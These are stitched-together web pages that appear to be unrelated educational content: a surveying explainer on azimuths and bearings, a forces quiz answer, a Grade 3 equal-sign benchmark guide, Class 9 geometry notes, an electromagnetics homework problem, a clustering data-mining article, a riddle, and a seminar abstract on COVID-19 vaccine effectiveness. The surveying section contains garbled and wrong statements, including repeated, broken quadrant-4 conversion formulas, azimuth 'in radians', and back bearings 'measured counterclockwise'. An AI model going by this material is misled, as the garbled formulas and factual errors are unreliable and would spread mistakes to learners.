To avoid future misunderstandings, it is typically suggested to mention the comparative meridian before initiating surveying procedures.
1. Grid Azimuths- The grid azimuth is the angle in the plan projection between grid north and the straight line from the point of observation to the point observed. Grid azimuth is the same as
geodetic azimuth only when the point of observation is on the central meridian.
2. Geodetic Azimuths- A reference to a spheroid’s pole in a plane perpendicular to the spheroid at the beginning or end of a line. The Laplace correction can be used to convert astronomic azimuths
to geodetic azimuths.
To comprehend the difference between astronomic and geodetic azimuths, consider the little adjustment required in an instrument to keep it leveled over a point if the plumb line is deflected
(deflection of the vertical).
This tiny modification will cause an equally minor change in the observed angle.
1. Policy Azimuths- Azimuths must be regarded as north for work-related objectives.
2. Astronomic Azimuths– An azimuth determined from the astronomical pole in a direction perpendicular to the gravitational direction at the observation location. Astronomical azimuths are calculated
using celestial measurements.
Surveying Bearings
A line’s bearing is its direction relative to a defined meridian.
True Meridian-
A true meridian along a line is defined as a line along which a plane aligns with the earth’s surface after passing through the true north and south extremes.
As a result, it crosses both the true north and the true south. Astronomical research can be utilized to identify the route of the true meridian through a point.
True Bearing is a line that forms a horizontal angle with the true meridian through the poles of that line. Because the path of the real meridian via a point remains unchanged, the true bearing of a
line is a consistent amount.
Magnetic Meridian-
A magnetic bearing from a suitable magnetic meridian, a grid bearing from a suitable grid meridian, inferred bearings from a suitable arbitrary meridian, a geodetic bearing from a geodetic meridian,
and an astronomic bearing from an astronomic meridian are all measured. Observing the compass needle reveals the magnetic meridian.
Magnetic Bearing: A line’s magnetic bearing is the horizontal angle generated by the magnetic meridian passing through one of its extremities. It is determined with a magnetic compass.
Arbitrary meridian-
An arbitrary meridian is any convenient direction towards a permanent and significant mark or signal, such as a church spire or the top of a chimney.
These meridians are used to compute the positions of lines in a small area.
The horizontal angle created by a line with any arbitrary meridian passing through one of its extremities is known as an arbitrary bearing. A theodolite or sextant is used to measure it.
Applications of Azimuths Surveying vs Bearings Surveying
Azimuth surveying is applied in:
1. Survey of lands- A survey giving the most accurate information about the land and its boundaries
2. Construction- Survey for foundations, roads, and rails
3. Geology- Survey for mining, buildings, and construction sites
4. Civil Engineering- Construction of buildings, bridges, and railways
5. Geodesy- Surveying Earth Surface Data
6. Railway Control – The data obtained from the survey are referred to as “beam”.
Bearing Surveying is applied in:
1. In land navigation, a ‘bearing’ is generally calculated in a clockwise direction, beginning with a reference direction of 0° and increasing to 359.9 degrees.
2. An angle is generally measured clockwise from the aircraft’s track or heading in aircraft navigation.
3. Starboard bearings are referred to as ‘green,’ whereas port bearings are referred to as’ red.’
Azimuths Surveying Vs Bearings Surveying: Forward and Back
In bearings surveying
the bearing is typically determined by comparing the plane of sight to the direction of a line that is perpendicular to both the plane and true meridian.
This is where we begin surveying forwards and work back towards our original reference direction (0°) and we’ll have a bearing.
A lot of times, when we working out forward bearings, we’re actually working backwards also from our reference direction of 0°. We’re going backwards in addition to forwards.
In Azimuths surveying
The forward azimuth of the line along which the poll is being performed is the forward azimuth, and the backward azimuth is the reversing azimuth.
The values for advanced and backward azimuth would be adjusted throughout the instance of azimuth. Backward and forward azimuths can be calculated by multiplying or subtracting 180°.
If the forward azimuth is less than 180 degrees, the backward azimuth is computed by adding 180 degrees to the forward azimuth. If the forward azimuth exceeds 180°, subtract 180° to get the backward
The forward azimuth of a line denotes its forward direction, whereas the backward azimuth indicates its backward direction. The forward azimuth can be switched to the reverse azimuth by adding or
subtracting 180 degrees.
Surveying Azimuth and Bearing Designations
The working variants of forward and backward bearings are as follows:
• Back Bearing: Backward Bearing refers to bearings measured in the opposite direction of surveying progress, i.e., along the survey line’s backward direction.
• Whole Circle Bearing: Full circle bearings are bearings measured clockwise from the north. The value varies from 0 to 360 degrees. Diminished bearings are those measured from the north or south
to the east or west, whichever is closer. The values for each quadrant vary from 0 to 90 degrees. It is also known as quadrantal bearing (QB).
• Observed Bearing: Observed Bearings are bearings taken in the field with an instrument.
• Fore Bearing: Fore bearings or forward bearings are bearings measured when surveying, i.e. in the forward direction of survey lines.
Computation of Azimuths and Bearing in Surveying
Azimuths and bearings are horizontal angles that are used to represent or locate a line in relation to a meridian.
Azimuth and bearing computation
Quadrant – Details
Quadrant 1 – North – East Direction: Bearing equals Azimuth
Quadrant 2 – South-East Direction: Bearing = 180° – Azimuth; Azimuth = 180° – Bearing.
Quadrant 3 – South-west. Bearing = Azimuth – 180°; Azimuth = Bearing + 180°
Quadrant 4 – North – West Direction: Bearing = 360° – Azimuth, Bearing = 360° – Azimuth, Bearing = 360° – Bearing
Azimuths and Bearings FAQs
What is Azimuth surveying?
Azimuth surveying is a method of surveying used to determine the direction of a line or feature in relation to a known point.
The azimuth of a line or feature is measured in degrees from a known reference point, typically magnetic north. This type of surveying is used in many applications, including construction and
This type of surveying is typically used in engineering and construction projects to align buildings, roads, and other structures.
What is Bearing surveying?
Bearing surveying is a surveying technique that is used to determine the location and orientation of a feature in relation to other features. This is done by taking bearings or angles of objects from
the feature that is being surveyed.
What is the difference between azimuth and bearings?
Azimuth surveying is surveying that determines a line’s direction or position. Bearings are measured with an instrument, such as a compass or theodolite, and determine the line’s orientation with
reference to true north or magnetic north.
How do you convert azimuths to bearings?
It is simple to convert azimuths to quadrant bearings and vice versa. An azimuth of 140°, for example, is larger than 90° but less than 180°, indicating that it is in the SE quadrant.
Because there are 180 minus 140 = 40 degrees between the South and the location, the quadrant bearing is S40°E.
How azimuth angle is calculated?
The azimuth is the angle between North and a celestial body, measured clockwise around the observer’s horizon (sun, moon). It determines the heavenly body’s orientation.
A celestial body due North, for example, has an azimuth of 0o, one due East 90o, one due South 180o, and one due West 270o.
How do you find the bearing angle?
A bearing is an angular measurement, taken clockwise from the reference direction, and it can be measured in degrees, minutes or decimal degrees.
The common way of measuring azimuths or bearings is the use of a magnetic compass. One can find the angle in degrees between North and object by pointing the compass to North at the object and
reading the number at the graduated dial of 360.
What are the types of bearings?
There are various types of bearings, including plain, ball, roller, fluid, and magnetic.
What is azimuth in geometry?
Azimuth is the horizontal angle measured clockwise in radians from North to a specified point on a circle or sphere.
Where are bearings used?
Bearing can be used in land navigation, such as when measuring distances on a scale model railroad.
How do bearings work?
The bearing is the angle measured clockwise from the reference direction and can be measured in degrees, minutes or decimal degrees.
Bearing may also be called azimuth, or sometimes altitude. Bearing is a measurement of angular position relative to north.
The azimuth is the angle between North and a celestial body, measured clockwise from the observer’s horizon (sun, moon).
What are Bearing and azimuth problems?
Bearing and azimuth problems are tools used to convert between the two. These problems are generally easier than the other types of bearing or conversion problems, and require less time.
What are forward bearings?
Forward bearings can be measured along the survey line’s forward direction. This would be measured clockwise from North, i.e., 0°, 360°, etc.
What are backwards bearings?
Backward bearings are measured in the opposite direction of surveying progress as opposed to forward bearing, i.e., along the survey line’s backward direction. This would be measured counterclockwise
from North, i.e., 90°, 180°, 270°, etc. | {"url":"https://civilstuff.com/what-are-azimuths-and-bearings-in-surveying/","timestamp":"2024-11-12T13:43:37Z","content_type":"text/html","content_length":"164931","record_id":"<urn:uuid:23eb0882-d107-4eeb-a916-a1993f49a001>","cc-path":"CC-MAIN-2024-46/segments/1730477028273.45/warc/CC-MAIN-20241112113320-20241112143320-00696.warc.gz"} |
Which of the following statements are correct? - WorkSheets Buddy
Which of the following statements are correct?
Which of the following statements are correct? All applications of force require contact between two objects. forces are measured in newtons. a force is a scalar. a force is a push or pull.
The correct statements are: forces are measured in newtons and a force is a push or pull.
All applications of forces require contact between two objects.
Incorrect. There are non-contact forces, such as gravitational and magnetic forces, that do not require direct contact between objects.
Forces are measured in Newtons.
Correct. The unit used to measure force is the Newton (N).
A force is a scalar.
Incorrect. A force is a vector quantity, not a scalar. This means that it has both magnitude and direction.
A force is a push or pull.
Correct. Forces are interactions that result in a push or pull on objects, causing them to change motion or remain stationary.
In summary, statements 2 and 4 are correct, while statements 1 and 3 are incorrect.
More Answers:
Leave a Comment | {"url":"https://www.worksheetsbuddy.com/which-of-the-following-statements-are-correct/","timestamp":"2024-11-12T22:45:03Z","content_type":"text/html","content_length":"130320","record_id":"<urn:uuid:6b7bdaf6-6fc4-4c59-ba7e-cfc415dc1b74>","cc-path":"CC-MAIN-2024-46/segments/1730477028290.49/warc/CC-MAIN-20241112212600-20241113002600-00355.warc.gz"} |
Subject Area: Mathematics (B.E.S.T.)
Grade: 3
Strand: Algebraic Reasoning
Date Adopted or Revised: 08/20
Status: State Board Approved
Benchmark Instructional Guide
Connecting Benchmarks/Horizontal Alignment
Terms from the K-12 Glossary
• Equation
• Expression
• Equal sign
Vertical Alignment
Previous Benchmarks
Next Benchmarks
Purpose and Instructional Strategies
The purpose of this benchmark is to extend the understanding of the meaning of the equal sign in multiplication and division situations. In Grades 1 and 2, students determined and explained when
addition and subtraction equations were true or false (
• Instruction should emphasize that the equal sign can be read as “ the same as” to show the balance of two multiplication and/or division expressions. When those expressions are evaluated as the
same product or quotient, the equation is balanced, or true. If those expressions evaluate differently, then the equation is not balanced, or false (MTR.2.1, MTR.5.1).
• When students explain whether an equation is true or false, they should justify by explaining the equivalence of its expressions. (Note: The expectation of this benchmark is not to compare the
expressions of a false equation using symbols of inequality, < or >.) (MTR.4.1, MTR.6.1)
Common Misconceptions or Errors
• By Grade 3, students may grow to expect equation solutions to be represented as the expressions on the right side of the equal sign. When having students evaluate true or false equations with
only three terms (e.g., 18 = 3 × 6), teachers should give examples showing products and quotients on the left side.
Strategies to Support Tiered Instruction
• Instruction includes opportunities to explore the meaning of the equal sign. The teacher provides clarification that the equal sign means “the same as” rather than “the answer is.” Multiple
examples are provided to evaluate equations as true or false using the four operations with the answers on both the left and right side of the equation, beginning by using single numbers on
either side of the equal sign to build understanding. The same equations are written in different ways to reinforce the concept.
□ For example, the teacher shows the following equations, asking students if they are true or false statements. Students explain why each equation is true or false, repeating with additional
true and false equations using the four operations.
• Teacher provides opportunities to explore the meaning of the equal sign using visual representations (e.g., counters, drawings, base-ten blocks) on a t-chart to represent equations. The teacher
provides clarification that the equal sign means “the same as” rather than “the answer is.” Multiple examples are provided for students to evaluate equations as true or false using the four
operations with the answers on both the left and right sides of the equation, beginning by using single numbers on either side of the equal sign to build understanding. The same equations are
written in different ways to reinforce the concept.
□ For example, the teacher shows the following equations. Students use counters, drawings, or base-ten blocks on a t-chart to represent the equation. The teacher asks students if they are true
or false statements and has them explain why each equation is true or false, repeating with additional true and false equations using the four operations.
Instructional Tasks
Instructional Task 1
Two equations are below. One equation is true, and the other equation is false. Choose one of the equations and explain why it is true or false.
2 × 3 = 4 × 6
2 × 12 = 4 × 6
Instructional Items
Instructional Item 1
Which of the following describes the equation 16 ÷ 2 = 36 ÷ 9 ?
• a) This equation is true because the expressions on each side have a quotient of 8.
• b) The equation is true because the expressions on each side have a quotient of 4.
• c) This equation is false because the expressions on each side have a quotient of 8.
• d) This equation is false because the quotient on the left is 8 and the quotient on the right is 4.
*The strategies, tasks and items included in the B1G-M are examples and should not be considered comprehensive. | {"url":"https://www.cpalms.org/PreviewStandard/Export/15323","timestamp":"2024-11-02T04:26:28Z","content_type":"text/html","content_length":"38379","record_id":"<urn:uuid:9251dac5-57aa-41b7-86a8-c777ba0e903b>","cc-path":"CC-MAIN-2024-46/segments/1730477027677.11/warc/CC-MAIN-20241102040949-20241102070949-00035.warc.gz"} |
Clustering Data Mining Techniques: 5 Critical Algorithms 2024
The Clustering Data Mining technique identifies hidden relationships and forecasting future trends has a long-standing history. The phrase “Data Mining,” also known as “Knowledge Discovery in
Databases(KDD),” was not popularized until the 1990s. However, it is built on the basis of three interconnected branches of science: Statistics (the numerical analysis of data correlations),
Artificial Intelligence (human-like intelligence demonstrated by software and/or computers), and Machine Learning (algorithms that can learn from data to make predictions).
Advances in processing power and speed have enabled us to go beyond manual, arduous, and time-consuming data analysis to rapid, easy, and automated data analysis during the previous decade. The more
complex the datasets collected, the more likely it is that meaningful insights will be discovered. Data Mining is being used by retailers, banks, manufacturers, telecommunications providers, and
insurers to discover relationships between everything from price optimization, promotions, and demographics to how the economy, risk, competition, and social media are affecting their business
models, revenues, operations, and customer relationships.
What is Clustering?
Image Source
Clustering Data Mining techniques help in putting items together so that objects in the same cluster are more similar to those in other clusters. Clusters are formed by utilizing parameters like the
shortest distances, the density of data points, graphs, and other statistical distributions. Cluster analysis has extensive applications in unsupervised Machine Learning, Data Mining, Statistics,
Graph Analytics, Image Processing, and a variety of physical and social science fields.
By applying Clustering Data Mining techniques to data, data scientists and others can acquire crucial insights by seeing which groups (or clusters) the data points fall into. Unsupervised Learning,
by definition, is a Machine Learning technique that looks for patterns in a dataset with no pre-existing labels and as little human interaction as possible. Clustering may also be used to locate data
points that aren’t part of any cluster, known as outliers.
In datasets containing two or more variable quantities, Clustering is used to find groupings of related items. In practice, this information might come from a variety of sources, including marketing,
biomedical, and geographic databases.
Which are the Best Clustering Data Mining Techniques?
1) Clustering Data Mining Techniques: Agglomerative Hierarchical Clustering
There are two types of Clustering Algorithms: Bottom-up and Top-down. Bottom-up algorithms regard data points as a single cluster until agglomeration units clustered pairs into a single cluster of
data points. A dendrogram or tree of network clustering is employed in the HAC-Hierarchical Agglomerative Clustering Data Mining technique, with the tree root being the distinctive sample collecting
cluster and the leaves being single-sample clusters. The procedure of hybrid Clustering Algorithms is similar, and it employs average linkage with a chosen distance metric to define the average
distance of data points in a cluster pair and margin them until convergence is achieved through multiple iterations.
We don’t have to define the number of clusters in hierarchical clustering, and we may even choose whatever the number of clusters looks best because we’re forming a tree. Furthermore, the technique
is unaffected by the distance measure used. It is, nevertheless, inefficient, with a temporal complexity in the O(n3) region.
2) Clustering Data Mining Techniques: K-Means Clustering
After determining the centroid value between two data points, the K-Means Clustering Algorithm repeatedly discovers the k number of clusters. It is rather useful to compute Cluster Centroids with
their vector quantization observations, by virtue of which data points with changeable characteristics may be brought to Clustering.
As the clustering process accelerates, a large amount of unlabeled real-world data will become more efficient as it is split into clusters of different forms and densities. Have you ever considered
how the centroid distance is calculated? Take a look at the K-means steps stated below:
• First, decide on the number of clusters that will differ in shape and density. Let’s call that number k, and its value can be anything from 3,4 to anything else.
• You may now assign data points to the number of the cluster. The centroid distance is then calculated using the least squared Euclidean distance once the data point and cluster have been chosen.
• The data point resembles the cluster if it is substantially closer to the centroid distance; otherwise, it does not.
• Iteratively compute the centroid distances with the selected data point until you find the largest number of clusters made up of related data points. When assured convergence (a point where data
points are well clustered) is reached, the algorithm stops clustering.
3) Clustering Data Mining Techniques: EM Clustering
One disadvantage of K-Means Clustering techniques is when two circular clusters centered at the same mean have different radii. K-Means defines the cluster center using median values and does not
distinguish between the two clusters. It also fails when the sets are not circular.
In the realm of Data Science, EM or Expectation Maximization Model is a solution that can overcome the shortcomings of K-Means. The optimization clustering approach uses the Gaussian function to
estimate missing values from the existing datasets sensibly. Then, using optimized mean and standard deviation values, it restrictively shapes the clusters.
The whole estimating and optimization procedure is repeated until a single cluster emerges that closely resembles the likelihood of outcomes. Let’s go over the procedure of the EM Clustering method
• The number of clusters must be chosen, and the parameters of the Gaussian distribution for each cluster must be randomly initialized based on an estimate from the data. The algorithm begins
slowly and soon optimizes itself based on the basic settings.
• The probability is computed based on the cluster’s Gaussian distribution to see if the data point belongs to the specified cluster. When a data point is near the Gaussian center, the probability
• To enhance the likelihood of the data point falling into the new cluster, the next step applies a new optimal value for its parameters. The positional weighted sum of the data points is used in
these new parameters, and the weights define the likelihood of a certain cluster holding the referred data point.
• The procedure is applied to subsequent iterations until convergence is achieved and the differences between iterations are negligible.
4) Clustering Data Mining techniques: Hierarchical Clustering
When you’re on a quest to find data pieces and map them according to cluster probability, the Hierarchical Clustering method works like a charm. Now, the mapped data pieces may belong to a Cluster
with distinct qualities in terms of multidimensional scaling, cross-tabulation, or quantitative relationships among data variables in several aspects.
Considering how to find a single cluster after merging the various clusters while retaining the hierarchy of the attributes on which they are classed in mind? The stages of the Hierarchical
Clustering method mentioned below can be used to accomplish this:
• Begin by picking the data points and clustering them according to the hierarchy.
• Are you considering how the clusters will be interpreted? With a Top-down or Bottom-up method, a Dendrogram may be utilized to comprehend the hierarchy of clusters properly.
• Clusters are merged until only one remains, and we may use a variety of metrics to determine how close the clusters are when merging them, such as Euclidean distance, Manhattan distance, or
Mahalanobis distance.
• For the time being, the process has ended because the intersection point has been discovered and well mapped on the dendrogram.
5) Clustering Data Mining techniques: Density-Based Spatial Clustering
When it comes to discovering clusters in bigger geographical databases, the Density-based Spatial Clustering Algorithm with Noise (or DBSCAN) is a superior alternative to K Means when it comes to
cross-examining the density of its data points. It’s also more appealing and efficient than CLARANS, which stands for Clustering LARge ApplicatioNS via Medoid-based partitioning approach.
The DBSCAN Clustering algorithm approach is beneficial and comparable to the mean-shift density-based Clustering algorithm.
DBSCAN’s method starts with an unvisited data point and uses distance (Epsilon) to extract the neighborhood before designating the point as visited. If two points are within a certain distance of
each other, they have termed neighbors. Following are the steps of DBSCAN:
• When enough points (based on minPoints) are found, the clustering process begins, using the current data point as the initial point in the new cluster. If there aren’t enough points, the
algorithm flags it as visited and classifies it as noise defect clustering.
• The initial point in the new cluster utilizes the same distance to define its neighborhood, resulting in a clustered point neighborhood, and the process continues for every additional cluster
point added to the group. This process is repeated until all data points have been labeled and visited.
• After all of the data points in the neighborhood have been visited, a fresh unvisited data point is chosen for clustering. As a result, all data points are labeled as noise or clustered under the
visited label.
What are the Applications of Data Mining Clustering Techniques?
• Clustering can assist marketers identify unique groups in their consumer bases and describe them based on purchase behaviors in the business world.
• It may be used in biology to create plant and animal taxonomies to classify genes with similar functions.
• Clustering can also assist in identifying regions of land usage in an earth observation database, as well as groupings of motor insurance customers with a high average claim cost.
• Cluster analysis may be used as a standalone data mining function to obtain insight into data distribution, notice the features of each cluster, and focus on a specific group of clusters for
further study.
What are the Requirements of Clustering Data Mining Techniques?
• Scalability: Many clustering techniques work well on small data sets with less than 200 data objects, however, a huge database might include millions of objects. Clustering on a subset of a big
dataset might result in skewed findings. Clustering methods that are highly scalable are required.
• Usability and interpretability: Users anticipate interpretable, thorough, and usable clustering findings. As a result, clustering may require unique semantic interpretations and applications.
It’s crucial to investigate how the application aim influences Clustering Data Mining technique selection.
• High dimensionality: A database or a data warehouse can have several dimensions or properties. Many clustering algorithms excel at dealing with low-dimensional data (two or three dimensions).
Human eyes are capable of assessing clustering quality in up to three dimensions. Clustering data items in a high-dimensional space may be difficult, especially when the data is sparse and
heavily skewed (misleading data).
• Constraint-based clustering: Clustering may be required in real-world applications due to a variety of restrictions. Assume you’re in charge of selecting locations for a certain number of new
automatic cash dispensing machines (ATMs) in a city. You may decide this by clustering households while taking into account limits such as the city’s waterways, highway networks, and client needs
per area. Finding groupings of data with appropriate clustering behavior that fulfill stated requirements is a difficult issue.
Clustering is vital in Data Mining and analysis. In this article, we will learn about Data Mining, as well as a detailed guide to Clustering and key Clustering techniques. We will also cover the
applications and requirements for Clustering Data Mining techniques.
Explore the intricacies of spatial and temporal data mining with our detailed guide on extracting insights from data across different dimensions.
Hevo Data is a No-Code Data Pipeline that offers a faster way to move data from 150+ Data Sources including 40+ Free Sources, into your Data Warehouse to be visualized in a BI tool. Hevo is fully
automated and hence does not require you to code.
Want to take Hevo for a spin?
SIGN UP and experience the feature-rich Hevo suite first hand. You can also have a look at the unbeatable pricing that will help you choose the right plan for your business needs.
Frequently Asked Questions
1. Which type of data mining task is clustering?
Clustering is an unsupervised learning task in data mining. It involves grouping a set of objects in such a way that objects in the same group (or cluster) are more similar to each other than to
those in other groups.
2. What is clustering with an example?
Clustering is the process of dividing a dataset into groups (clusters) where objects within each group are more similar to each other than to those in other groups. It’s useful for exploratory data
analysis to find natural groupings in data.
3. What are the four data mining techniques?
a) Classification
b) Clustering
c) Association Rule Learning
d) Regression
Akshaan is a dedicated data science enthusiast who is passionate about navigating and leveraging extensive data repositories. His expertise lies in crafting insightful articles on data science,
enriched by hands-on training and active involvement in proficient data management tasks. Akshaan excels in A/B testing and optimizing content for enhanced product activations. With a background in
Computer Science and a Master's in Management Analytics, he combines theoretical knowledge with practical skills to drive impactful business insights. | {"url":"https://hevodata.com/learn/clustering-data-mining-techniques/","timestamp":"2024-11-03T06:55:36Z","content_type":"text/html","content_length":"127777","record_id":"<urn:uuid:7897d664-197a-47af-b6eb-99711f1e03a5>","cc-path":"CC-MAIN-2024-46/segments/1730477027772.24/warc/CC-MAIN-20241103053019-20241103083019-00432.warc.gz"} |
Revision Notes for Class 9 Maths Chapter 4 Lines and Angles
NCERT Notes for Class 9 Maths Chapter 4 Lines and Angles
Class 9 Maths Chapter 4 Lines and Angles Notes
│Chapter Name │Lines and Angles Notes │
│Class │CBSE Class 9 │
│Textbook Name │NCERT Mathematics Class 9 │
│ │ • Notes for Class 9 │
│Related Readings│ • Notes for Class 9 Maths │
│ │ • Revision Notes for Lines and Angles │
Lines and Angles
Point: A point is a dot made by a sharp pen or pencil. It is represented by capital letter.
Line: A straight and endless path on both the directions is called a line.
Line segment: A line segment is a straight path between two points.
Ray: A ray is a straight path which goes forever in one direction.
Collinear points: If three or more than three points lie on the same line, then they are called collinear points.
Non-collinear points: If three or more than three points does not lie on the same line, then they are called non-collinear points.
Angle: The space between two straight lines that diverge from a common point or between two planes that extend from a common line.
Types of Angles
1. Acute angle: An angle between 0° and 90° is called acute angle.
2. Right angle: An angle which is equal to 90° is called right angle.
3. Obtuse angle: An angle which is more than 90° but less than 180° is called obtuse angle.
4. Straight angle: An angle whose measure is 180° is called straight angle.
5. Reflex angle: An angle whose measure is between 180° and 360° is called reflex angle.
6. Complete angle: An angle which is equal to 360° is called complete angle
Pairs of Angles
1. Complementary angles: Two angles are said to be complementary if the sum of their degree measure is 90°.
For example, pair of complementary angles are 35° and 55°.
2. Supplementary angles:
Two angles are said to be supplementary if the sum of their degree measure is 180°.
∠AOC + ∠BOC = 180°
3. Bisector of angle: A ray which divides an angle into two equal parts is called bisector of the angle.
∠AOC = ∠BOC
4. Adjacent angles: Two angles are said to be adjacent angles if
• They have a common vertex (O)
• They have a common arm (OC)
• and their non-common arms are on either side of common arm (OA and OB).
∠AOB = ∠AOC + ∠BOC
5. Linear pair:
Two adjacent angles are said to be linear pair if their sum is equal to 180°.
∠AOC + ∠BOC = 180°
• Axiom 6.1: If a ray stands on a line, then the sum of two adjacent angles so formed is 180°.
• Axiom 6.2: If the sum of two adjacent angles is 180°, then the non-common arms of the angles form a line.
6. Vertically opposite angles:
Vertically opposite angles are those angles which are opposite to each other (or not adjacent) when two lines cross each other.
Theorem 6.1
If two lines intersect each other, then the vertically opposite angles are equal.
To prove: If lines AB and CD mutually intersect at point O, then
(a) ∠AOC = ∠BOD (Vertically opposite angles)
(b) ∠AOD = ∠BOC
Proof: Lines AB intersect CD at O.
∠1 + ∠2 = 180° (Linear pair)
∠2 + ∠3 = 180° (Linear pair)
From eqn. (1) and (2), ∠1 + ∠2 = ∠2 + ∠3
⇒ ∠1 = ∠3 ⇒ ∠AOD = ∠BOC
Similarly, ∠AOC = ∠BOD
Parallel Lines
If distance between two lines is the same at each and every point on two lines, then two lines are said to be parallel.
If lines l and m do not intersect each other at any point then l || m.
Transversal line
A line is said to be transversal which intersect two or more lines at distinct points.
1. Corresponding angles
Pair of angles having different vertex but lying on same side of the transversal are called corresponding angles. Note that in each pair one is interior and other is exterior angle.
• ∠1 and ∠2
• ∠3 and ∠4
• ∠5 and ∠6
• ∠1 and ∠8
These angles are pair of corresponding angles.
2. Alternate interior angles
Pair of angles having distinct vertices and lying can either side of the transversal are called alternate interior angles.
These angles are alternate interior angles
3. Consecutive interior angles
Pair of interior angles of same side of transversal line.
These angles are consecutive interior angles or co-interior angles
Axiom 6.3: If two parallel lines are intersected by a transversal then each pair of corresponding angles are equal.
If AB || CD, then
• ∠PEB = ∠EFD
• ∠PEA = ∠EFC
• ∠BEF = ∠DFQ
• ∠AEF = ∠CFQ
Theorem 6.2: If two parallel lines are intersected by a transversal then pair of alternate interior angles are equal.
If AB || CD, then ?
Theorem 6.3: If two parallel lines are intersected by a transversal then the ! sum of consecutive interior angles of same side of transversal is equal to 180°. If AB || CD then
(i) ∠BEF + ∠DFE = 180°
(ii) ∠AEF + ∠CFE = 180°
Axiom 6.4: If two lines are intersected by a transversal and a pair of corresponding angles are equal, then two lines are parallel.
(i) If ∠PEB = ∠EFD (corresponding angles), then AB || CD
Theorem 6.4: If two lines intersected by a transversal and a pair of alternate interior angles are equal, then two lines are parallel. If ∠AEF = ∠EFD (alternate interior angles), then AB || CD.
Theorem 6.5: If two lines are intersected by a transversal and the sum of consecutive interior angles of same side of transversal is equal to 180°, the lines are parallel. If ∠AEF + ∠CFE = 180°, then
AB || CD.
Theorem 6.6: Lines which are parallel to the same line are parallel to each other.
If AB || EF and CD || EF then AB || CD
Theorem 6.7: The sum of the angles of a triangle is equal to 180°.
Given: ΔABC
To prove: ∠A + ∠B + ∠C = 180°
Construction: Draw DE || BC
Proof: DE || BC
then ∠1 = ∠4 …(1) (alternate interior angles)
∠2 = ∠5 …(2) (alternate interior angles)
Adding equations (1) and (2),
∠1 + ∠2 = ∠4 +∠5
Adding ∠3 on both sides,
∠1 +∠2 + ∠3 = ∠3 + ∠4 + ∠5
⇒ ∠A + ∠B + ∠C = 180° (Sum of angles at a point on same side of a line is 180°)
Theorem 6.8: If a side of a triangle is produced, then the exterior angle so formed is equal to the sum of the two interior opposite angles.
Given: AABC in which, side BC is produced to D.
To Prove: ∠ACD = ∠BAC + ∠ABC
Proof: ∠ACD + ∠ACB = 180° …(1) (Linear pair)
∠ABC + ∠ACB + ∠BAC = 180° …(2)
From eqn. (1) and (2), ∠ACD + ∠ACB
= ∠ABC + ∠ACB + ∠BAC
= ∠ACD = ∠ABC + ∠BAC | {"url":"https://www.icserankers.com/2023/11/lines-and-angles-notes-class9-maths.html","timestamp":"2024-11-07T20:40:53Z","content_type":"application/xhtml+xml","content_length":"312139","record_id":"<urn:uuid:4698884f-6cdf-473b-976e-019482e8c21a>","cc-path":"CC-MAIN-2024-46/segments/1730477028009.81/warc/CC-MAIN-20241107181317-20241107211317-00009.warc.gz"} |
Problem 2
Problem 2
A very thick glass sits in air. The glass has a flat surface. A coordinate
system is set up to mark the media with the glass surface to be xy plane. The
air has a dielectric constant €,1 = 1 and the glass €2=4. A plane wave in air
has its electric field described in phasor as
Ē¹ = y 20 e-j(3x+4y)
The field is a traveling wave in air. It is incident on the boundary, indicated
by the super index.
1. Make a sketch to show the media, the boundary, the directions of the field
E¹ and the associated field H¹.
2. Determine the direction of the wave propagation, and the wave front. Add
them to the sketch by drawing a few wave. fronts and the direction of the
direction of the incident wave travels.
77/n3. Find the phase difference in radians per meter between two wave fronts of
this propagating wave in air incident on the glass.
4. Find the time-domain expression of the field E¹ and H¹.
5. Find the impedance of air and that of the glass.
6. Find the angle of incidence, the angle of reflection, and the angle of trans-
7. Use the impedances and the incident angle to compute the reflection co-
efficient I and the transmission coefficient 7.
8. Find the time-domain expressions of the fields of the reflected wave and
the fields of the transmitted wave. You may use phasors to do the com-
putation. Add to the sketch to indicate the direction of the fields of the
reflected and transmitted waves and the direction they propagate.
9. Determine the time-average power densities of the incident, reflected, and
transmitted waves.
Fig: 1
Fig: 2 | {"url":"https://tutorbin.com/questions-and-answers/problem-2-a-very-thick-glass-sits-in-air-the-glass-has-a-flat-surface-a-coordinate-system-is-set-up-to-mark-the-media","timestamp":"2024-11-04T04:31:29Z","content_type":"text/html","content_length":"68767","record_id":"<urn:uuid:bd5ef9f5-769a-46a0-a5d4-081b56a0f9b7>","cc-path":"CC-MAIN-2024-46/segments/1730477027812.67/warc/CC-MAIN-20241104034319-20241104064319-00644.warc.gz"} |
All But 70 Died How Many Survived Riddle - Puzzle Paheliyan
All But 70 Died How Many Survived Riddle
Here is the answer to this trending riddle called “All but 70 died how many survived riddle”. The riddle is also know as the “A farmer had 100 cows” riddle.
Riddle: A Farmer Had 100 Cows. All But 70 Died. How Many Survived?
Answer: The answer to “All But 70 Died How Many Survived riddle” is 70 Cows.
Riddle Explanation
If you read the riddle at first it’s little bit confusing and it’s difficult to get the answer at first go. But let me explain you the answer here.
The line “All But 70 Died” this would mean that out of 100 cows 30 are dead and 70 are left.
The other straightforward answer can be 30 cows because 100 minus 70 will be 30. | {"url":"https://puzzlepaheliyan.com/all-but-70-died-how-many-survived-riddle/","timestamp":"2024-11-07T12:46:50Z","content_type":"text/html","content_length":"85812","record_id":"<urn:uuid:e3f4ac70-a512-4599-be6a-7e788bedc781>","cc-path":"CC-MAIN-2024-46/segments/1730477027999.92/warc/CC-MAIN-20241107114930-20241107144930-00189.warc.gz"} |
The Effectiveness of the COVID-19 Vaccination Campaign in 2021: Inconsistency in Key Studies
讲座名称： The Effectiveness of the COVID-19 Vaccination Campaign in 2021: Inconsistency in Key Studies
讲座时间： 2024-10-11
报告人：何岱海, 香港理工大学
报告题目：The Effectiveness of the COVID-19 Vaccination Campaign in 2021: Inconsistency in Key Studies
报告摘要：In this work, we revisited the evaluation of the effectiveness of the COVID-19 vaccination campaign in 2021, as measured by the number of deaths averted. The published estimates differ a
lot: from one widely referenced paper by Watson et al. (2022) estimating 0.5-0.6% of the USA population being saved, to average-level estimates of 0.15-0.2%, and to some estimates as low as 0.0022%.
For other countries, Watson et al. gave much higher estimates than all other works too.
We reviewed 30 relevant papers, carried out an in-depth analysis of the model by Watson et al. and of several other studies, and provided our own regression-based analysis of the US county-level
The model by Watson et al. is very sophisticated and has many features; some of them that make it more realistic (age-structured epidemiology, “elderly first” vaccination, healthcare overload
effects), but others that are likely inaccurate (substantial reinfection rates (i.e., immunity loss) for the Alpha and Delta variants, possible overfitting due to overly flexible time-dependent
infection transmission rate) or questionable (45% increase in fatality rate for the Delta variant). Yet, the main argument is that Watson et al.’s model does not reproduce the trends observed in the
county-level US data.
